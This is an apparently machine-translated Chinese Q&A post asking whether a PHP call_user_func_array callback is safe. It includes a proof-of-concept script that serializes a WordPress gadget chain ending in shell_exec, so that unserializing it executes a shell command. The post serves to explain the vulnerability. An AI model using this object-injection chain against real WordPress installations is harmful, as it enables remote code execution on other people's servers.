我在想如何在代碼中安全地使用call_user_func_array()
。PHP函數call_user_func_array使用
以下編碼函數的方式是安全的嗎?
function outertext() {
// …
if ($this->dom && $this->dom->callback!==null) {
call_user_func_array($this->dom->callback, array($this));
}
// …
}
什麼是使用PHP的call_user_func_array()
的最佳方法。我們如何能夠利用這個功能概念的安全
證明:(攻擊者如何在這個函數攻擊)
<?php
class simple_html_dom_node {
private $dom;
public function __construct() {
$callback = array(new WP_Screen(), 'render_screen_meta');
$this->dom = (object) array('callback' => $callback);
}
}
class WP_Screen {
private $_help_tabs;
public $action;
function __construct() {
$count = array('count' => 'echo "schwag" > /tmp/1337h4x0rs');
$this->action = (object) $count;
$this->_help_tabs = array(array(
'callback' => 'wp_generate_tag_cloud',
'topic_count_scale_callback' => 'shell_exec'));
}
}
echo serialize(new simple_html_dom_node()).'';
?>
只有受信任的字符串,從來沒有用戶輸入使用。 – meagar